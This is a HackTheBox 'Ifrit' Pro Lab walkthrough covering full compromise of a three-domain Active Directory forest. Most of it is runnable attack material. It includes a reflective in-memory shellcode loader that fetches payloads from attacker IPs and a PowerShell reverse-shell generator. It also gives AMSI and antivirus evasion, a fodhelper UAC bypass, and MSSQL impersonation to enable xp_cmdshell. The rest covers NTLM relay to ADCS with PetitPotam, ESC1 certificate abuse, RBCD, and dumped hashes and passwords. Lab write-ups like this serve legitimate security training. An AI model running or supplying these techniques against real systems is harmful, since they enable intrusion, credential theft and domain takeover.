Ifrit Pro Lab
Ifrit is a HackTheBox Active Directory Pro Lab modelling a three-domain
forest — root ifrit.vl with child domains eu-ifrit.vl and it-ifrit.vl.
Starting from a provided RDP account on VDI02, the path runs through a
backup-share credential leak and a private GitLab repo, an internal command-exec
API RCE, an MSSQL linked-server bridge that crosses the eu-ifrit →
it-ifrit trust with pure T-SQL, an ADCS certificate chain (ESC8 → ESC1),
resource-based constrained delegation, and DPAPI credential looting —
ending in full forest compromise.
Attack path
Section titled “Attack path”home-backups$ → Firefox → jack.smith → GitLab → dev:dev-5381
dev → linked server → SQL07 (crosses the trust)
sa/adm → xp_cmdshell → SeManageVolume → SYSTEM
FS02$
it-ifrit.vl Domain Admin
Sheila.Richards (vdi-admins) → DPAPI → ifrit.vl\administrator
VDI02$ WriteAccountRestrictions → RBCD → eu-ifrit.vl DA
ifrit.vl\administrator → FOREST OWNED
Environment
Section titled “Environment”Nine live hosts across the three domains (172.16.41.0/24):
| Host | IP | Domain | Role |
|---|---|---|---|
| DC01 | .11 | ifrit.vl |
Forest root DC |
| DC03 | .14 | eu-ifrit.vl |
Child DC |
| DC07 | .17 | it-ifrit.vl |
Child DC · ADCS (it-ifrit-CA) |
| DEV05 | .40 | eu-ifrit.vl |
Internal API host |
| SQL03 | .250 | eu-ifrit.vl |
MSSQL 2022 |
| SQL07 | .251 | it-ifrit.vl |
MSSQL 2022 (linked) |
| FS02 | .210 | it-ifrit.vl |
File server |
| VDI02 | .225 | eu-ifrit.vl |
Entry / VDI |
| — | .150 | Linux | GitLab · SIEM · Squid |
Reconnaissance
Section titled “Reconnaissance”An internal nmap sweep of 172.16.41.0/24 cleanly separates the estate into
three Active Directory domains plus a Linux services box:
- Three Kerberos/LDAP realms —
DC01advertisesifrit.vl,DC03eu-ifrit.vl, andDC07it-ifrit.vl; the RDP NTLM info confirms the NetBIOS names. This is the forest layout:ifrit.vlroot with two children. - ADCS on DC07 — port
443serves a cert withcommonName=it-ifrit-CA, and IIS on:80(certsrv) is the AD CS web-enrollment endpoint. Flagged for later — this becomes the ESC8/ESC1 engine. - MSSQL 2022 on both
SQL03(.250) andSQL07(.251), each in a different domain — a linked-server bridge is the obvious candidate. - The
.150Linux box exposes GitLab (:80), a stray nginx (:81), a Squid proxy (:3128), and an Elasticsearch SIEM (:9200).
Enumerating VDI02’s File Explorer (right-click → Properties on network objects,
plus the ARP cache) reveals the wider machine list — including hosts not yet
routable (Backup01, DEV01/02, SQL01, VDI01, and several RAS500xx
accounts):
Backup01 DC03 DEV01 DEV02 DEV05 SQL01 SQL03 VDI01 VDI02RAS50005 RAS50011 RAS50014 RAS50021# ARP: .11 .14 .17 .40 .150 .210 .215 .250 .251Initial Access — VDI02
Section titled “Initial Access — VDI02”The lab grants auto-generated domain accounts (e.g. caroline.hunter:PenEuIfrit527#).
RDP into VDI02 with a provided account and drop a Ligolo agent to route
the whole 172.16.41.0/24 through it.
VDI02 enforces AppLocker, which restricts execution to trusted paths — in
practice only C:\Windows. Rather than fight the path rules with an on-disk
payload, run a reflective in-memory loader: pull raw Sliver shellcode over
SMB/HTTP and hand-map it with VirtualAlloc + CreateThread so nothing
untrusted ever touches disk:
$bytes = (Invoke-WebRequest -Uri "http://10.10.14.8:445/shellcode" -UseBasicParsing).Content[Byte[]]$buf = $bytes
$k = Add-Type -MemberDefinition '[DllImport("kernel32")]public static extern IntPtr VirtualAlloc(IntPtr a,uint b,uint c,uint d);[DllImport("kernel32")]public static extern IntPtr CreateThread(IntPtr a,uint b,IntPtr c,IntPtr d,uint e,IntPtr f);' -Name K -Namespace W -PassThru
$m = $k::VirtualAlloc(0,$buf.Length,0x3000,0x40)[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $m, $buf.Length)$k::CreateThread(0,0,$m,0,0,0)BloodHound data is also collected straight over LDAP with the provided account.
The !1.2.840.113556.1.4.801=::MAMCAQc= control sets the SD flags so the
query only pulls the DACL portion of each security descriptor (no SeSecurityPrivilege
needed), and the LDIF is converted with ldapsearch_parser / bofhound:
ldapsearch -LLL -H ldap://dc03.eu-ifrit.vl -D 'EU-IFRIT\caroline.hunter' -w 'PenEuIfrit527#' \ -b "DC=EU-IFRIT,DC=VL" -N -o ldif-wrap=no \ -E '!1.2.840.113556.1.4.801=::MAMCAQc=' "(&(objectClass=*))" | tee objects.txtFoothold creds — backups share, GitLab & LDAP
Section titled “Foothold creds — backups share, GitLab & LDAP”From VDI02’s File Explorer, DC03 exposes a home-backups$ share containing
a backup .vhdx. Mount it and pull the Firefox profile’s login.json, which
stores a saved credential:
jack.smith : JigokuNoKaen10Those creds log into a private GitLab repo on 172.16.41.150. Reading the
application source reveals the internal DEV05 API — a command-exec endpoint on
port 13300 and its service credentials:
http://172.16.41.40:13300 · /api/info /api/querydev : dev-5381An authenticated LDAP user dump is also worth a pass — a couple of accounts leak
initial passwords in their description field, a recurring Ifrit theme:
client-admin Initial Password: Anfang01!backup-admin Initial Password: Anfang01!DEV05 — API RCE to SYSTEM
Section titled “DEV05 — API RCE to SYSTEM”The /api/query endpoint runs shell commands server-side. Confirm execution
(the process runs as jack.smith, a local admin on DEV05):
curl -u dev:dev-5381 -X POST http://172.16.41.40:13300/api/query \ -H "Content-Type: application/json" \ -d '{"query": "process get name,processid && whoami"}'Stage a Sliver beacon by base64-encoding a Start-Process of a beacon copied
from the attacker SMB share, and fire it through the same endpoint:
curl -u dev:dev-5381 -X POST http://172.16.41.40:13300/api/query \ -H "Content-Type: application/json" \ -d '{"query": "process get name,processid && cmd /c powershell -e U3RhcnQtUHJvY2VzcyAtRmlsZXBhdGggQzpcVXNlcnNcamFjay5zbWl0aFxiZWFjb24uZXhlIC1XaW5kb3dTdHlsZSBIaWRkZW4="}'The beacon lands at medium integrity. Bypass UAC with fodhelper — a
ms-settings protocol handler that auto-elevates and reads its command from a
writable HKCU key:
New-Item -Path HKCU:\Software\Classes\ms-settings\shell\open\command -ForceNew-ItemProperty -Path HKCU:\Software\Classes\ms-settings\shell\open\command -Name DelegateExecute -Value "" -ForceSet-ItemProperty -Path HKCU:\Software\Classes\ms-settings\shell\open\command -Name "(default)" -Value "C:\Users\jack.smith\beacon.exe" -ForceStart-Process fodhelper.exeSeBackup is disabled but SeImpersonate is enabled — GodPotato to
SYSTEM. Reflective loading of GodPotato was flaky against AV, so upload it and
run once from disk (re-launching the beacon) before it gets quarantined:
.\GodPotato-NET4.exe -cmd "powershell Start-Process -Filepath C:\Users\jack.smith\beacon.exe -WindowStyle Hidden"Dump secrets. Mimikatz gives jack.smith’s NTLM, and nxc --lsa cracks out his
cleartext password plus cached creds and the machine key:
eu-ifrit\Jack.Smith NTLM : 85391f332fdaa3ad651cee1fe44aa90beu-ifrit.vl\jack.smith : DXt9boDb8W_doj # cleartext (LSA)EU-IFRIT\DEV05$ : 61d1921b0c09e72ab6d3fe2406253474🚩 DEV05 flag
IFRIT{30aef3a3ade21f16f0b4d87f56840072}
SQL03 → SQL07 — MSSQL linked servers across the trust
Section titled “SQL03 → SQL07 — MSSQL linked servers across the trust”jack.smith’s password authenticates to SQL03 (eu-ifrit). He isn’t a
sysadmin, but enumeration shows two useful facts: Jack.Smith can impersonate
the dev login, and dev owns a linked server to SQL07 (it-ifrit), mapped
across the trust as the remote login bridge_it:
EU-IFRIT\Jack.Smith can IMPERSONATE -> devdev -> linked server SQL07.IT-IFRIT.VL (remote login: bridge_it)The privilege ladder on the far side has to be walked one rung at a time. On
SQL07, bridge_it is not sysadmin, but it can impersonate sa — and the
real sysadmin login (principal_id 1) turns out to be adm. Chaining the
impersonations inside the EXECUTE (...) AT call runs the payload as adm,
which enables xp_cmdshell:
EXECUTE AS LOGIN = 'dev';
-- who is the real sysadmin? principal_id 1 == admEXECUTE ('SELECT name FROM sys.server_principals WHERE principal_id = 1') AT [SQL07.IT-IFRIT.VL];
-- impersonate sa -> adm, then enable xp_cmdshellEXECUTE ('EXECUTE AS LOGIN = ''adm''; EXEC sp_configure ''show advanced options'',1; RECONFIGURE; EXEC sp_configure ''xp_cmdshell'',1; RECONFIGURE;') AT [SQL07.IT-IFRIT.VL];EXECUTE ('EXECUTE AS LOGIN = ''adm''; EXEC xp_cmdshell ''whoami''') AT [SQL07.IT-IFRIT.VL];-- nt service\mssqlservermssqlserver on SQL07 holds SeImpersonate — a SYSTEM foothold in the other
forest, reached entirely with T-SQL.
SQL07 — reflective loading to SYSTEM
Section titled “SQL07 — reflective loading to SYSTEM”Getting a stable, AV-surviving beacon on SQL07 was the fight of the box.
Everything that touches disk or looks like a known tool was caught — plain
reverse shells, curl/certutil downloads, on-disk GodPotato, and rundll32
staging all failed. The winning approach is stay in memory the whole way: get
a thin foothold shell, then hand-map raw shellcode so the C2 never lands as a
file.
Step 1 — a foothold shell. An AMSI-bypass + obfuscated -enc encoder
payload (defeats the -enc string-scanning and gets past AMSI) lands a shell on
port 53 over the linked-server xp_cmdshell:
EXECUTE ('EXECUTE AS LOGIN = ''adm''; EXEC xp_cmdshell ''powershell -nop -W hidden -noni -ep bypass -enc <obfuscated>''') AT [SQL07.IT-IFRIT.VL];And to generate the powershell revershell, the following one liner is used
python3 -c "import base64cmd = '\$T=New-Object Net.Sockets.TCPClient(\'172.16.116.201\',443);\$N=\$T.GetStream();\$W=New-Object IO.StreamWriter(\$N);function W(\$S){[byte[]]\$script:B=0..\$T.ReceiveBufferSize|%{0};\$W.Write(\$S+\'SHELL> \');\$W.Flush()};W \'\';while((\$R=\$N.Read(\$B,0,\$B.Length)) -gt 0){\$C=([text.encoding]::UTF8).GetString(\$B,0,\$R-1);\$O=try{iex \$C 2>&1|Out-String}catch{\$_|Out-String};W \$O};\$W.Close()'print(base64.b64encode(cmd.encode('utf-16-le')).decode())"Step 2 — reflectively load the beacon. From that shell, pull the raw Sliver
shellcode over HTTP and inject it into the current process with
VirtualAlloc (RWX, 0x3000/0x40) + Marshal.Copy + CreateThread. Nothing is
written to disk, so AppLocker/AV path and signature rules never fire. If the
Copy into RWX memory ever misbehaves, fall back to an AllocHGlobal buffer:
$bytes = (Invoke-WebRequest -Uri "http://10.10.14.37:445/mtls-shellcode" -UseBasicParsing).Content[Byte[]]$buf = $bytes
$k = Add-Type -MemberDefinition '[DllImport("kernel32")]public static extern IntPtr VirtualAlloc(IntPtr a,uint b,uint c,uint d);[DllImport("kernel32")]public static extern IntPtr CreateThread(IntPtr a,uint b,IntPtr c,IntPtr d,uint e,IntPtr f);' -Name K -Namespace W -PassThru
$m = $k::VirtualAlloc(0,$buf.Length,0x3000,0x40) # RWX, MEM_COMMIT|RESERVE[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $m, $buf.Length)$k::CreateThread(0,0,$m,0,0,0)
## fallback if the RWX Copy misbehaves — stage into an AllocHGlobal buffer first$ptr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($buf.Length)[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, $buf.Length)Step 3 — try to escalate in memory. With a real beacon, GodPotato never has
to hit disk either: download the assembly bytes with WebClient, load it with
[Reflection.Assembly]::Load, and invoke its entry point directly. This keeps
the tool off disk, but on SQL07 the SeImpersonate route still would not fire
(the potato attacks failed regardless of how they were delivered):
$bytes = (New-Object Net.WebClient).DownloadData('http://10.10.14.37:445/GodPotato-NET2.exe')$asm = [System.Reflection.Assembly]::Load($bytes)$asm.EntryPoint.Invoke($null, @(,[string[]]@('-cmd', 'net user jellibean P@ssw0rd123! /add')))$asm.EntryPoint.Invoke($null, @(,[string[]]@('-cmd', 'net localgroup administrators jellibean /add')))Step 4 — pick the privilege that actually works. Enumerating the token shows
SeImpersonate is held, but so is SeManageVolume — and that’s the one
that lands. The SeManageVolume exploit abuses the “perform volume maintenance
tasks” right to rewrite the DACL on C:\, granting the low-priv service write
access to system directories; drop a hijackable DLL a SYSTEM process auto-loads
and you inherit SYSTEM:
SeManageVolumePrivilege Perform volume maintenance tasks Enabled ✅ usedSeImpersonatePrivilege Impersonate a client Enabled ❌ potatoes blockedSeAssignPrimaryTokenPrivilege Replace a process level token EnabledSeIncreaseQuotaPrivilege Adjust memory quotas EnabledSeCreateGlobalPrivilege Create global objects Enabled.\SeManageVolumeExploit.exe # C:\ now writable by our service; plant the DLL → SYSTEM🚩 SQL07 flag
IFRIT{9f27c845ed6494f977aaf249e90c69cc}
As SYSTEM, harvest the SQL07$ machine identity. Rubeus tgtdeleg yields a
usable TGT (no plaintext needed), which drives both BloodHound collection and a
machine-template cert request:
execute-assembly Rubeus.exe -- tgtdeleg /nowrapbloodhound-python -d it-ifrit.vl -dc DC07.it-ifrit.vl -ns 172.16.41.17 -k -no-pass -u 'SQL07$' -c All
certipy req -k -no-pass -u 'SQL07$@it-ifrit.vl' -dc-ip 172.16.41.17 -ca 'it-ifrit-CA' -template Machine -target DC07.it-ifrit.vlcertipy auth -pfx sql07.pfx -dc-ip 172.16.41.17 # -> SQL07$ NT hashFS02 — PetitPotam + ADCS ESC8
Section titled “FS02 — PetitPotam + ADCS ESC8”The it-ifrit-CA exposes web enrollment over HTTP/HTTPS with channel binding
disabled — ESC8. Stand up ntlmrelayx against the enrollment endpoint and
coerce FS02 (via PetitPotam, authenticating as SQL07$) so its machine
authentication is relayed to the CA and minted into a certificate:
# terminal 1 — relay to ADCS web enrollmentntlmrelayx.py -t http://172.16.41.17/certsrv/certfnsh.asp -smb2support --adcs --template Machine --no-http-server# terminal 2 — coerce FS02 to authenticate (as SQL07$)python3 PetitPotam.py -u 'SQL07$' -hashes :6a2072c8773a675ef5cc28e7efb0300b -d it-ifrit.vl 10.10.14.8 172.16.41.210certipy auth -pfx FS02.pfx -dc-ip 172.16.41.17-> fs02$@it-ifrit.vl : 8d7b0500b8c2155faafb61e5ef7381b2Re-running certipy find as FS02$ confirms both the CA misconfig and the next
step — FS02 has enrollment rights on a template that is its own escalation
path:
[!] ESC8 : Web Enrollment enabled over HTTP/HTTPS, Channel Binding disabledTemplate : IT-Computers Client Authentication : True Enrollee Supplies Subject : True # attacker chooses the SAN Enrollment Rights : IT-IFRIT.VL\FS02 [!] ESC1 : Enrollee supplies subject and template allows client authenticationDC07 — ESC1 to it-ifrit Domain Admin
Section titled “DC07 — ESC1 to it-ifrit Domain Admin”ESC1 = a client-auth template where the enrollee supplies the subject. Enroll
as FS02$ but set the UPN to Administrator@it-ifrit.vl, and the CA hands
back a certificate that authenticates as the domain admin:
getTGT.py -hashes :8d7b0500b8c2155faafb61e5ef7381b2 'it-ifrit.vl/FS02$' -dc-ip 172.16.41.17certipy req -k -no-pass -u 'FS02$@it-ifrit.vl' -dc-ip 172.16.41.17 -ca 'it-ifrit-CA' \ -template 'IT-Computers' -target DC07.it-ifrit.vl \ -upn 'Administrator@it-ifrit.vl' -dc-host DC07.it-ifrit.vl -key-size 4096certipy auth -pfx administrator.pfx -dc-ip 172.16.41.17# -> it-ifrit.vl\Administrator : 6b6b265c14e20192eb6a6dbb0a1426baDump NTDS. This domain holds two keys to the rest of the forest — Sheila.Richards
(a member of vdi-admins) and the EU-IFRIT$ inter-domain trust key:
krbtgt:502:...:86225470b55ad07a4528cf442b1fff0cit-ifrit.vl\Sheila.Richards:1110:...:084fa60567c6b124d0a4ca54fac5d3ceEU-IFRIT$:1103:...:9770a6626fa64b847e95fbfcefc7f219 # inter-domain trust🚩 DC07 flag
IFRIT{0bdd04482d51c7250097c0a149887fa0}—it-ifrit.vlowned.
VDI02 (revisit) — Sheila.Richards & DPAPI to root DA
Section titled “VDI02 (revisit) — Sheila.Richards & DPAPI to root DA”Sheila.Richards is in vdi-admins, which is local admin on VDI02. Pass her
NT hash and dump SAM/LSA and — the prize — DPAPI:
nxc smb 172.16.41.225 -u 'it-ifrit\Sheila.Richards' -H 084fa60567c6b124d0a4ca54fac5d3ce --sam --lsa# yields VDI02$ : 31056cc492be3f4ea7a0134d49014a87 + dpapi machine/user keysDecrypting the stored DPAPI blobs with those masterkeys recovers the forest root administrator credential outright:
ifrit.vl\administrator : GoldenBuddaRests85DC03 — RBCD to eu-ifrit Domain Admin
Section titled “DC03 — RBCD to eu-ifrit Domain Admin”BloodHound flags that VDI02$ has WriteAccountRestrictions on DC03 — the
exact right needed to write msDS-AllowedToActOnBehalfOfOtherIdentity. Configure
resource-based constrained delegation so VDI02$ can act on behalf of anyone
to DC03, then S4U to impersonate Administrator:
rbcd.py -delegate-from 'VDI02$' -delegate-to 'DC03$' -action write \ -dc-ip 172.16.41.14 'eu-ifrit/VDI02$' -hashes ':31056cc492be3f4ea7a0134d49014a87'# [*] VDI02$ can now impersonate users on DC03$ via S4U2Proxy
getST.py -spn 'cifs/DC03.eu-ifrit.vl' -impersonate Administrator \ -hashes ':31056cc492be3f4ea7a0134d49014a87' -dc-ip 172.16.41.14 'eu-ifrit/VDI02$'nxc smb 172.16.41.14 --use-kcache --sam --lsa --ntds # eu-ifrit.vl ownedDC01 — forest root
Section titled “DC01 — forest root”The DPAPI-recovered ifrit.vl\administrator is a forest Enterprise Admin —
it authenticates straight to the root DC, no further escalation required:
nxc smb 172.16.41.11 -u Administrator -p 'GoldenBuddaRests85' --sam[+] ifrit.vl\Administrator:GoldenBuddaRests85 (Pwn3d!)Forest owned. 🏁
Takeaways
Section titled “Takeaways”- Secrets in backups & repos are the foothold. A readable
home-backups$share (a whole Firefox profile inside a.vhdx) and a private GitLab repo handed over every credential needed to start — reinforced by initial passwords sitting in LDAPdescriptionfields. - MSSQL linked servers ignore domain boundaries. The SQL03→SQL07 link plus a
Jack.Smith→dev→bridge_it→sa→admimpersonation chain crossed theeu-ifrit→it-ifrittrust with nothing but T-SQL. - Match the exploit to the token, not the checklist.
SeImpersonatewas present on SQL07 but potato attacks were blocked;SeManageVolumewas the privilege that actually converted to SYSTEM. - ADCS is a domain-takeover engine. ESC8 (relay a coerced machine auth) bootstrapped a machine identity, and ESC1 (EnrolleeSuppliesSubject) turned it into a Domain Admin certificate.
- Delegation + DPAPI bridge the domains.
WriteAccountRestrictions→RBCD tookeu-ifrit, and DPAPI on a shared VDI leaked the forest-root admin — game over.